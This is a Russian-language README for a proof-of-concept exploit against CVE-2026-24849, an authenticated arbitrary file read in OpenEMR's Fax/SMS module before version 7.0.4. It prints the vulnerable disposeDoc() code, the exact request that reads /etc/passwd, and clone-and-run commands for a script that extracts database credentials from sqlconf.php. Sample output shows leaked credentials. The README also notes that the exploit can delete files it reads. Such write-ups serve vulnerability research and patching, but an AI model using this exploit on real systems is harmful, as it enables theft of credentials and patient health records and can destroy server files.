
Эксплойт Proof-of-concept для CVE-2026-24849, аутентифицированное path-traversal / чтение произвольных файлов в модуле Fax/SMS (EtherFax) OpenEMR. Любой аутентифицированный пользователь, независимо от уровня привилегий, может читать произвольные файлы из файловой системы сервера от имени пользователя веб-сервера (учетные данные базы данных, документы/PHI пациентов, /etc/passwd, …)
disposeDoc)Эксплойт-доказательство концепции для CVE-2026-24849 — аутентифицированный path-traversal / произвольное чтение файлов в модуле Fax/SMS (EtherFax) OpenEMR. Любой аутентифицированный пользователь, независимо от уровня привилегий, может читать произвольные файлы с файловой системы сервера от имени веб-сервера (учётные данные базы данных, документы/PHI пациентов, /etc/passwd, …).
| CVE | CVE-2026-24849 |
| Уязвимость | Path Traversal / Arbitrary File Read (CWE-22) |
| Компонент | EtherFaxActions::disposeDoc() → interface/modules/custom_modules/oe-module-faxsms |
| Затронуто | OpenEMR < 7.0.4 |
| Исправлено в | OpenEMR 7.0.4 |
| Аутентификация | Требуется — любой пользователь, без привилегий |
| Серьёзность | NVD 6.5 (Medium) / GitHub CNA 9.9 (Critical) |
| Протестировано на | OpenEMR 7.0.2 — Ubuntu 22.04, PHP 8.1, Apache 2.4 |
Метод disposeDoc() в модуле Fax/SMS принимает переданный вызывающей стороной параметр запроса file_path, проверяет, существует ли файл, и передаёт его напрямую в readfile() без канонизации пути, без белого списка и без проверки авторизации — достаточно лишь действующей сессии:
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // управляемо атакующим, без проверки
if (file_exists($where)) {
...
readfile($where); // произвольное чтение файла от имени веб-сервера
unlink($where); // ⚠ удаляет файл после чтения (см. предупреждение ниже)
exit;
}
die('Problem with download. Use browser back button');
}
Обработчик вызывается через диспетчер модуля с абсолютным путём в file_path (обход с ../ не требуется):
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
Учётная запись с низкими привилегиями (или стандартная) превращается в примитив для чтения файлов на стороне сервера:
sites/default/sqlconf.phpsites/<site>/documents/, даже если этот каталог защищён директивой Deny from all в .htaccess (чтение происходит на диске, минуя Apache)/etc/passwd, исходный код приложения, ключи/токены, доступные для чтения веб-пользователю⚠️ Деструктивное поведение
disposeDoc()вызываетunlink($where)после чтения файла. Чтение файла, который веб-пользователь может удалить, приведёт к его удалению. Целевые файлы, принадлежащие root (например,/etc/passwd,sqlconf.phpна большинстве установок) — их родительский каталог не доступен для записи веб-пользователю, поэтомуunlink()завершится ошибкой и файл сохранится. Будьте осмотрительны при выборе цели.
admin:pass).requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
Запуск без аргументов — скрипт запросит всё необходимое:
python3 CVE-2026-24849.py
Или неинтерактивно с флагами:
# чтение одного файла
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# извлечение учётных данных БД и сохранение в файл
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
Если -f опущен, инструмент переходит в интерактивный цикл чтения, позволяя получить несколько файлов из одной сессии.
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)
Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.
[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests, сессия сохраняется в собственном хранилище cookie (избегает смены идентификатора сессии в браузере, из-за которой скопированные cookie становятся недействительными).disposeDoc с автоматическим перебором disposeDoc и disposeDocument (имя метода различается в затронутых минорных версиях)..htaccess как на единственный контроль.Этот инструмент предоставлен только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Автор не несёт ответственности за неправомерное использование или любой ущерб, причинённый данным программным обеспечением. Обратите внимание на деструктивное поведение unlink(), описанное выше.
doany1
MIT — см. LICENSE.
| Флаг | Описание | По умолчанию |
|---|
-t, --target | Базовый URL, напр. http://10.10.10.10 | запрашивается |
-u, --user | Имя пользователя OpenEMR | admin |
-P, --password | Пароль OpenEMR | запрашивается (скрыто) |
-s, --site | Идентификатор сайта OpenEMR | default |
-f, --file | Абсолютный путь к удалённому файлу для чтения | интерактивный цикл, если опущен |
-o, --output | Сохранить извлечённый файл локально вместо вывода на экран |